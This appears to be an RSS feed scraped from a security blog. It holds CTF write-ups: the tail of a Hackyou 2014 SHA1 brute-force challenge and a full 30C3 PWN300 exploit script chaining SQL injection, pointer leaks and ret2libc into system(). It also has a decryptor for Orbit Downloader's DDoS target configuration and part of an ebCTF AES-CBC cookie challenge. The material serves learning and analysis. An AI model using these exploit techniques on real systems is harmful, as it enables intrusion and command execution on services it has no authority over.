  TCP timestamp: tcpts=1636691457

--- 77.220.186.142 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 52.7/52.7/52.7 ms

We compute the timer frequency and the uptime in seconds:

$ python
>>> 1636691457 - 1636688922
2535
>>> 2535/10
253
>>> 1636691457/250
6546765

The kernel is running a timer at 250Hz for tcp timestamps and we know the approximate uptime is 6546765 seconds.

We can now brute-force until we find a string that match exactly the SHA1 given by the challenge host using a custom C program:

#include <sys/types.h>
#include <sys/uio.h>
#include <openssl/sha.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>

#define SHA1_DIGEST_LENGTH 20
#define LOG "[%i.%0.6i] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8\n"

char *byte_to_hex(unsigned char *buffer)
{
  static char hex[SHA1_DIGEST_LENGTH * 2];
  int c;

  for(c=0 ; c < SHA1_DIGEST_LENGTH ; c++)
    sprintf(hex + c*2, "%.2x", buffer[c]);

  return hex;
}

void hex_to_byte(unsigned char *buffer, unsigned char *digest)
{
  int c;
  unsigned char number[3];

  for(c=0 ; c < (SHA1_DIGEST_LENGTH << 1) ; c += 2)
  {
    memcpy(number, buffer + c, 2);
    number[2] = 0;
    sscanf(number, "%x", &digest[c >> 1]);
  }
}

int main(int argc, char *argv[])
{
  FILE *f;

  unsigned int ts,hz;
  unsigned int uptime;
  int step = 1;
  unsigned int i;
  static unsigned char log[128];
  static unsigned int log_len;
  static unsigned char nano[1000000 * 8];

  static unsigned char guess_digest[SHA1_DIGEST_LENGTH];
  static unsigned char target_digest[SHA1_DIGEST_LENGTH];

  if (argc < 3) {
    printf("Missing arguments: %s <raw TS val> <frequency> <target SHA1 hash>\n", argv[0]);
    exit(1);
  }

  ts = atoi(argv[1]);
  hz = atoi(argv[2]);

  if (!ts || !hz) {
    printf("Invalid timestamp or frequency\n");
    exit(1);
  }

  uptime = ts / hz - 10 * 60;

  if (strlen(argv[3]) != 40) {
    printf("Invalid target hash\n");
    exit(1);
  }

  hex_to_byte(argv[3], target_digest);
 
  printf("Start uptime=%i (hz=%i)\n", uptime, hz);
  printf("Target hash=");
  printf(byte_to_hex(target_digest));
  printf("\n");

  printf("Precalculate nanoseconds decimal representation...\n");

  for(i = 0 ; i < pow(10, 6) ; i++) {
    snprintf((char*)nano + i * 8, 7, "%0.6i", i);
  }

  printf("Bruteforcing...\n");
  while (1) {
  sprintf(log, LOG, uptime, 999999);
  log_len = strlen(log);
  for(i = 0 ; i < pow(10, 6) ; i++)
  {
     memcpy((char*)log + 9, (char*)nano + i*8, 6);
     SHA1(log, log_len, guess_digest);
     //printf("%s %s\n", log, byte_to_hex(guess_digest)); exit(0);

     if (guess_digest[0] == target_digest[0]) {
       if (memcmp(guess_digest, target_digest, SHA1_DIGEST_LENGTH) == 0)
       {
          printf("WIN %i %i %s", uptime, i, log);
          exit(0);
       }
     }
  }
  uptime+=step;
  printf("progress=%s", log);
  }

  return 0;
}

Compile and run it:

$ gcc -O3 -o bf200-fast bf200-fast.c -lcrypto
$ ./bf200-fast 1636691457 250 02b73dccde50be2c0c1639b0db4879cc86826485
Start uptime=6546165 (hz=250)
Target hash=02b73dccde50be2c0c1639b0db4879cc86826485
Precalculate nanoseconds decimal representation...
Bruteforcing...
progress=[6546165.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546166.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546167.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546168.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6546169.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8...
...
progress=[6547041.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547042.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547043.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547044.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547045.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547046.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
progress=[6547047.999999] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
WIN 6547048 854470 [6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8

Yeah! We found a solution, now compute the challenge response: the string in SHA512. Notice the script is so broken it's use the full sha512sum binary output, including the dash at the end of line and the carriage return.

$ echo "[6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8" | sha512sum
25adb71ebdc140629f3c095fc57c1afc00198deca5f1fd4a8d3022121ff3713c92683000c1f0cce4b090c1c54fae5fd5f9e900ac85ff3c014a98f8ce5683a301  -

Pwn time:

Platform debug
[1] cpu
[2] memory
[3] pci devices
[4] kernel log
[5] os version
[6] os uptime
[7] disk subsystem
[8] time settings
[9] /etc/shadow
Platform > 4
To access sensitive kernel debug info you need access to dmesg
Taking some randomness...
Challenge: 02b73dccde50be2c0c1639b0db4879cc86826485 -
Response > 25adb71ebdc140629f3c095fc57c1afc00198deca5f1fd4a8d3022121ff3713c92683000c1f0cce4b090c1c54fae5fd5f9e900ac85ff3c014a98f8ce5683a301  -
Attempting to provide kernel debug messages
=== dmesg ===
[6547042.852817] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547043.853252] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547044.853694] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547045.853138] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547046.853582] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547047.854031] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6547048.854470] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8
[6549553.153623] UDP: bad checksum. From 46.9.163.51:12345 to 77.220.186.142:12345 ulen 8
[6550413.365523] UDP: bad checksum. From 173.70.38.82:40000 to 77.220.186.142:40000 ulen 17
MENU
[1] base station filesystem access
[2] base station network statistics
[3] base station platform debug
[0] exit
> 1
Read arbitrary file > /home/flag.txt
Auth token >
./gsmd.sh: line 25: gsmd_auth_check: command not found
Attempting to read arbitrary file
=== /home/flag.txt ===
CTF{ea0ab151a617cb0df62353a60d15679a}

Share

The post Hackyou 2014 – Net400 – gsmd.sh Write-up appeared first on codezen.fr.

]]>
http://codezen.fr/2014/01/15/hackyou-2014-net400-gsmd-sh-write-up/feed/ 0
30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc http://codezen.fr/2013/12/30/30c3-ctf-pwn-300-todos-write-up-sql-injection-ret2libc/ http://codezen.fr/2013/12/30/30c3-ctf-pwn-300-todos-write-up-sql-injection-ret2libc/#comments Sun, 29 Dec 2013 23:50:19 +0000 http://codezen.fr/?p=487 $ file server server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped $ checksec.sh --file server RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   […]

The post 30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc appeared first on codezen.fr.

]]>
$ file server
server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped

$ checksec.sh --file server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   server

This binary from the awesome and pwn-heavy 30C3 CTF is a todo-list manager with a telnet interface, ELF binary server and MySQL database as a storage backend.

Sample session:

$ nc -v 88.198.89.199 1234
Connection to 88.198.89.199 1234 port [tcp/*] succeeded!
Welcome to TTT (the todo tool)!

If you're new, try help

help
Commands:
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
login aXs toto
logged in...
help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
add toto
Entry added.
search toto
Found 1 entries, use 'show <num>' to show them.
show 0
0: toto

We can find the queries used by the search command in the binary:

.rodata:00000000000022A0 00000047 C SELECT COUNT(*) FROM todos WHERE user = %lld AND content LIKE '%%%s%%'
.rodata:00000000000022E8 00000046 C SELECT content FROM todos WHERE user = %lld AND content LIKE '%%%s%%'

The first query is used to guess the amount of results. The second query is used to fetch the data.

Absolutely no escaping with mysql_real_escape_string() is done in the binary:

.text:0000000000001B79                 lea     rbx, user_id
.text:0000000000001B80                 mov     rsi, [rbx]
.text:0000000000001B83                 call    do_mysql_query

So we can do sql injections like:

search ' UNION ALL SELECT @@version -- #
Found 1 entries, use 'show <num>' to show them.
show 0
0: 5.5.34-0ubuntu0.13.10.1

This service is running on Ubuntu Saucy 64bit, this will be very useful later when we need to find offsets in the libc.

The result of the first query (SELECT COUNT(*) FROM todos WHERE...) is used to help with memory management. If the amount of results is lower or equal to 10, a fixed table in .data is used. Otherwise some space is allocated on the heap (malloc) and the results are stored there.

.text:0000000000001B9E                 mov     rdi, [r13+0]    ; nptr
.text:0000000000001BA2                 xor     esi, esi        ; endptr
.text:0000000000001BA4                 mov     edx, 10         ; base
.text:0000000000001BA9                 call    _strtoll
.text:0000000000001BAE                 mov     rdi, cs:result_table ; ptr
.text:0000000000001BB5                 mov     r12, rax        ; count(*)
.text:0000000000001BB8                 test    rdi, rdi
.text:0000000000001BBB                 jz      short null_result_table
.text:0000000000001BBD                 lea     rax, fixed_result_table
.text:0000000000001BC4                 cmp     rdi, rax
.text:0000000000001BC7                 jz      short null_result_table
.text:0000000000001BC9                 call    _free
.text:0000000000001BCE
.text:0000000000001BCE null_result_table:                      ; CODE XREF: do_search+5Bj
.text:0000000000001BCE                                         ; do_search+67j
.text:0000000000001BCE                 cmp     r12, 10         ; count(*)
.text:0000000000001BD2                 jg      big_result_table
.text:0000000000001BD8                 lea     rax, fixed_result_table
.text:0000000000001BDF                 mov     cs:result_table, rax

There is room for 10 results of 256 chars in the table in .data. After this table in .data we have some very interesting structure:

- The number of results (used by the show command)
- a table of records that describe how to manage the commands

Using some sql trickery we will control the result of the first query (count) to be 1 while we will actually send more than 10 results: we will overwrite past the fixed_result_table table

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

0x0e00000000000000 (15) will overwrite num_results

.data:0000000000203160 result_table    dq 0                    ; DATA XREF: do_show+47r
.data:0000000000203160                                         ; do_search+4Er ...
.data:0000000000203168 fixed_result_table db 0A00h dup(0)      ; DATA XREF: do_search+5Do
.data:0000000000203168                                         ; do_search+78o
.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
.data:0000000000203B68                                         ; do_search+A0w ...
.data:0000000000203B6C                 align 10h
.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
.data:0000000000203B70                                         ; do_help+23o
.data:0000000000203B78 ; char *ptr_commands
.data:0000000000203B78 ptr_commands    dq offset aHelp         ; "help"
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"
...
.data:0000000000203C58                 dq offset aLogin        ; "login "
.data:0000000000203C60                 dq offset asc_2208      ; "^([^ ]+) ([^ ]+)$"
.data:0000000000203C68                 dq offset do_login
.data:0000000000203C70                 dq offset aLoginUserPassL ; "login <user> <pass>: Login when you hav"...

By overwriting the structure used to describe the help command, we can control the execution flow and call anything in the binary or library (libc)

Small problems here are that:
- The binary has been PIE-compiled (random base for .text segment)
- ASLR is enabled (libc base is random as well)

So we need to leak some pointers first so we can calculate the base for the binary and the libc and compute new offsets.

Let's focus on this ptr_commands table and notice that for the login structure, the function pointer at 0x203C68 is perfectly aligned with the fixed_result table's 11 result:

0x203168 (fixed_result_table) + 11 * 256 = 0x203C68

So "show 11" will leak the do_login pointer. We know the do_login function is at offset 0x19d0 in the binary, so the ELF base is going to be:

base = do_login - 0x19d0

Unfortunately we can only leak past the fixed_result_table as the 'show' command will not accept a negative index. So we need to find a way to leak the GOT table to calculate the libc base.

The help command to the rescue:

help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry

help will print a description of the command, this description is referenced inside our ptr_commands table:

.data:0000000000203B78 ptr_commands    dq offset aHelp           ; "help" command
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help         ; function pointer
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

If we change offset 0x203b90 (aHelpPrintThisH) to another location, that location will be printf. Obvious candidates are entries in GOT table:

.got.plt:0000000000203040 off_203040      dq offset setvbuf       ; DATA XREF: _setvbufr
.got.plt:0000000000203050 off_203050      dq offset read          ; DATA XREF: _readr

We will leak 2 pointers so we can calculate the distance between and verify that the distance match indeed with Ubuntu Saucy Server x86_64's libc.

base = do_login - 0x19d0

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

got_plt = base + 0x00203000
off_read_plt = got_plt + 0x050
help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

After this sql injection, the help command's description string will be a pointer to read@plt in the GOT table. Then we can call the help command and decode the pointer from the output.

We now have read()'s location in the libc, we calculate system() location based on the fact that is this Ubuntu Saucy Server x86_64 libc:

system_plt = read_plt - 0x716be0

Next step is to overwrite again with a SQL injection the 'help' command structure but this time we overwrite the function pointer: typing "help cat /home/user/flag" will in fact call system("cat /home/user/flag").

And we are done.

Full exploit:

import telnetlib
import time
from struct import pack, unpack

def show_to_val(tn, num):
    tn.write("show "+str(num)+"\n")
    raw_data = tn.read_until("\n")[len(str(num)+':')+1:].strip() + "\x00\x00"
    return unpack('<Q', raw_data)[0]

HOST = '88.198.89.199'      # The remote host
#HOST = '62.4.23.92'        # Precise
#HOST = '62.4.19.84'        # Raring
#HOST = '62.4.23.88'         # Saucy
PORT = 1234

tn = telnetlib.Telnet(HOST, PORT)

print "[*] Login"

tn.read_until("If you're new, try help\n")
tn.write("login aXs toto\n")
tn.read_until("logged in...\n")

#time.sleep(3)

#.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
#.data:0000000000203B68                                         ; do_search+A0w ...
#.data:0000000000203B6C                 align 10h
#.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
#.data:0000000000203B70                                         ; display_help+23o
#.data:0000000000203B78 ; char *ptr_commands
#.data:0000000000203B78 ptr_commands    dq offset aHelp         ; DATA XREF: .text:000000000000144Br
#.data:0000000000203B78                                         ; sub_14DE+4Ar ...
#.data:0000000000203B78                                         ; "help"
#.data:0000000000203B80                 dq offset aSomethingWentW+18h
#.data:0000000000203B88                 dq offset display_help
#.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

#0x7fc101a9cb68:  0x0f  0x00  0x00  0x00  0x00  0x00  0x00  0x00 num_results
#0x7fc101a9cb70:  0x03  0x00  0x00  0x00  0x00  0x00  0x00  0x00 help_flags
#0x7fc101a9cb78:  0xdc  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aHelp
#0x7fc101a9cb80:  0x62  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aSomethingWentW
#0x7fc101a9cb88:  0xa0  0xa7  0x89  0x01  0xc1  0x7f  0x00  0x00 offset display_help

print "\n[*] Prepare for infoleak with SQLi"

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

tn.write(query)
tn.read_until("\n")

print "\n[*] Infoleak login function pointer"

do_login = show_to_val(tn, 11)
print "do_login=", hex(do_login)

print "\n[*] Calculate ELF base and pointers"

base = do_login - 0x19d0
print "ELF base=", hex(base)

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
print "help string offset=", hex(aHelp)

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
print "Something went wrong string offset=", hex(aSomethingWentW)

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
print "help function offset=", hex(display_help)

got_plt = base + 0x00203000
print "GOT PLT base=", hex(got_plt)

off_read_plt = got_plt + 0x050
print "read@plt base=", hex(off_read_plt)

print "\n[*] Infoleak read@plt"

# We replace the pointer to the help command to the offset we want to leak

help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

s.recv(len("Commands:\n"))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

read_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "read_plt=", hex(read_plt)

print "\n[*] Infoleak setvbuf@plt"

off_setvbuf_plt = got_plt + 0x040

help_txt = off_setvbuf_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

tn.read_until("\n")
tn.read_until("\n")

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

print "help=",repr(s.recv(len("Commands:\n")))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

setvbuf_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "setvbuf_plt=", hex(setvbuf_plt)

print "\n[*] Calculate distance between read and setvbuf in LIBC to find libc version"

print "- Precise: 0x753e0L"
print "- Raring: 0x7a3b0L"
print "- Saucy: 0x7b010L"

check_plt = read_plt - setvbuf_plt
print "distance PLT=", hex(check_plt)

print "\n[*] Calculate system libc offset"

# Precise
#system_plt = read_plt - 0xa1240
# Saucy
system_plt = read_plt - 0x716be0
print "system libc=", hex(system_plt)

print "\n[*] Overwrite help command pointer to system"

display_help = system_plt
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")
tn.read_until("\n")
tn.read_until("\n")

print "\n[*] PWN"

tn.write("help cat /home/user/flag\n")

print tn.read_until("\n")

Output:

[*] Login

[*] Prepare for infoleak with SQLi

[*] Infoleak login function pointer
do_login= 0x7f86fa4d19d0L

[*] Calculate ELF base and pointers
ELF base= 0x7f86fa4d0000L
help string offset= 0x7f86fa4d21dcL
Something went wrong string offset= 0x7f86fa4d214aL
help function offset= 0x7f86fa4d17a0L
GOT PLT base= 0x7f86fa6d3000L
read@plt base= 0x7f86fa6d3050L

[*] Infoleak read@plt
help_txt= 0x7f86fa6d3050L
read_plt= 0x7f86f96bb690L

[*] Infoleak setvbuf@plt
help_txt= 0x7f86fa6d3040L
help= 'Commands:\n'
setvbuf_plt= 0x7f86f9640680L

[*] Calculate distance between read and setvbuf in LIBC to find libc version
- Precise: 0x753e0L
- Raring: 0x7a3b0L
- Saucy: 0x7b010L
distance PLT= 0x7b010L

[*] Calculate system libc offset
system libc= 0x7f86f8fa4ab0L

[*] Overwrite help command pointer to system

[*] PWN
30C3_6627df0c708626cdaa56be9c4474fe61

Share

The post 30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc appeared first on codezen.fr.

]]>
http://codezen.fr/2013/12/30/30c3-ctf-pwn-300-todos-write-up-sql-injection-ret2libc/feed/ 0
Orbit Downloader PE DDoS Memory Module Configuration File Decryptor http://codezen.fr/2013/08/22/orbit-downloader-pe-ddos-memory-module-configuration-file-decryptor/ http://codezen.fr/2013/08/22/orbit-downloader-pe-ddos-memory-module-configuration-file-decryptor/#comments Thu, 22 Aug 2013 00:22:18 +0000 http://codezen.fr/?p=478 PE is downloaded in memory during Orbit Downloader startup. This memory module will then fetch a crypted configuration file with targets to DDoS. This short Python program will fetch this crypted configuration file from the source server and display its content. # Orbit Downloader Memory Module PE Payload # Configuration file decryption # aXs - […]

The post Orbit Downloader PE DDoS Memory Module Configuration File Decryptor appeared first on codezen.fr.

]]>
PE is downloaded in memory during Orbit Downloader startup. This memory module will then fetch a crypted configuration file with targets to DDoS.

This short Python program will fetch this crypted configuration file from the source server and display its content.

# Orbit Downloader Memory Module PE Payload
# Configuration file decryption
# aXs - http://codezen.fr
#
# PE MD5: 809D5A4AF232F08F88D315B116E47828
#
# You need Python Request - http://www.python-requests.org/

import requests
from urllib import unquote
from base64 import b64decode
from hashlib import md5

r = requests.get('http://obupdate.orbitdownloader.com/update/il.php')

key = md5('A!)$>da*b').hexdigest()

print "key=", key

cipher = b64decode(r.text)

step1 = ''

k = 0
for c in cipher:
    step1 += chr(ord(c) ^ ord(key[k % len((key))]))
    k += 1

step2 = ''
for (c1, c2) in zip(step1[0::2], step1[1::2]):
    step2 += chr(ord(c1) ^ ord(c2))

print unquote(step2)

Results at the time of this blog post:

key= b25fff66ef05849a1e69b02834fa1db5
plain= 2013-08-22 08-00-01
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172
  210.73.221.182:8001=210.73.221.182
  210.73.221.181:8001=210.73.221.181
  yjmt.hoolaigames.com/ms/uc/login.jsp=180.153.235.172

GitHub repository: https://github.com/fbaligant/orbit-ddos-module-decrypt

Share

The post Orbit Downloader PE DDoS Memory Module Configuration File Decryptor appeared first on codezen.fr.

]]>
http://codezen.fr/2013/08/22/orbit-downloader-pe-ddos-memory-module-configuration-file-decryptor/feed/ 0
ebCTF 2013 – Web400 (crypto/aes/cbc/hmac) Write-Up http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/ http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/#comments Mon, 05 Aug 2013 09:50:09 +0000 http://codezen.fr/?p=470 This Web challenge was part of the ebCTF competition. It's actually more crypto than web. We get a simple web site driving the famous cowsay binary: define('MY_AES_IV', CENSORED); define('MY_AES_KEY', CENSORED); define('MY_HMAC_KEY', CENSORED); define("FLAG","CENSORED"); function aes($data, $encrypt) {   $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');   mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);   return $encrypt ? mcrypt_generic($aes, $data) : […]

The post ebCTF 2013 – Web400 (crypto/aes/cbc/hmac) Write-Up appeared first on codezen.fr.

]]>
This Web challenge was part of the ebCTF competition. It's actually more crypto than web. We get a simple web site driving the famous cowsay binary:

define('MY_AES_IV', CENSORED);
define('MY_AES_KEY', CENSORED);
define('MY_HMAC_KEY', CENSORED);
define("FLAG","CENSORED");

function aes($data, $encrypt) {
  $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);
  return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

function decrypt($data) {
  $data = rtrim(aes($data, false), "\0");
  $mac = substr($data, -MY_MAC_LEN);
  $data = substr($data, 0, -MY_MAC_LEN);
  return hmac($data) === $mac ? $data : null;
}

$settings = array();
if (@$_COOKIE['settings']) {
  $settings = @unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}

if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
 
  $settings = array(
      'name' => $_POST['name'],
      'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
  );

  setcookie('settings', base64_encode(@encrypt(serialize($settings))));
}

if (@$settings['greeting']) {
  echo "<pre>\n";
  passthru($settings['greeting']);
  echo "</pre>\n";
} else {
  echo "<form action=\"?\" method=\"POST\">\n";
  echo "<p>What is your name?</p>\n";
  echo "<input type=\"text\" name=\"name\" />\n";
  echo "<input type=\"submit\" name=\"submit\" value=\"Submit\" />\n";
  echo "</form>\n";
}

Step 1: The form

Capture1

Step 2: The result

Capture2

The POST parameter is properly sanitized when passed to passthru() with the help of escapeshellargs() (works like mysql_real_escape_string() but for shell commands)

We also get a cookie with the result:

HTTP/1.1 200 OK
Set-Cookie: settings=bLuTJcHxN%2FJovq6014VC%2BT6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8%2BOVKNoptb8uJBQqcbH2HPbkxNWq%2BMkmiNi98MC1GGoBSa66SWxTTQodPfQ%3D%3D
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 05 Aug 2013 08:34:09 GMT

This cookie is an encrypted and signed session:

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

$settings = array(
  'name' => $_POST['name'],
  'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
);

setcookie('settings', base64_encode(@encrypt(serialize($settings))));

So the format is:

base64 ( aes|cbc( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} + hmac( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} ) )

Result:

bLuTJcHxN/Jovq6014VC+T6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8+OVKNoptb8uJBQqcbH2HPbkxNWq+MkmiNi98MC1GGoBSa66SWxTTQodPfQ==

00000000 6c bb 93 25 c1 f1 37 f2 68 be ae b4 d7 85 42 f9 |l».%Áñ7òh¾®´×.Bù|
00000010 3e 8e 51 1b 35 56 22 b5 81 b1 d6 53 6b 27 de 3a |>.Q.5V"µ.±ÖSk'Þ:|
00000020 11 ba 25 1b da f3 e9 1f 27 19 62 73 00 16 40 74 |.º%.Úóé.'.bs..@t|
00000030 0f a5 e1 d4 30 c1 c8 e2 ec f3 bf 55 11 21 44 17 |.¥áÔ0ÁÈâìó¿U.!D.|
00000040 c0 4f 4c e0 bc f8 e5 4a 36 8a 6d 6f cb 89 05 0a |ÀOLà¼øåJ6.moË...|
00000050 9c 6c 7d 87 3d b9 31 35 6a be 32 49 a2 36 2f 7c |.l}.=¹15j¾2I¢6/||
00000060 30 2d 46 1a 80 52 6b ae 92 5b 14 d3 42 87 4f 7d |0-F..Rk®.[.ÓB.O}|

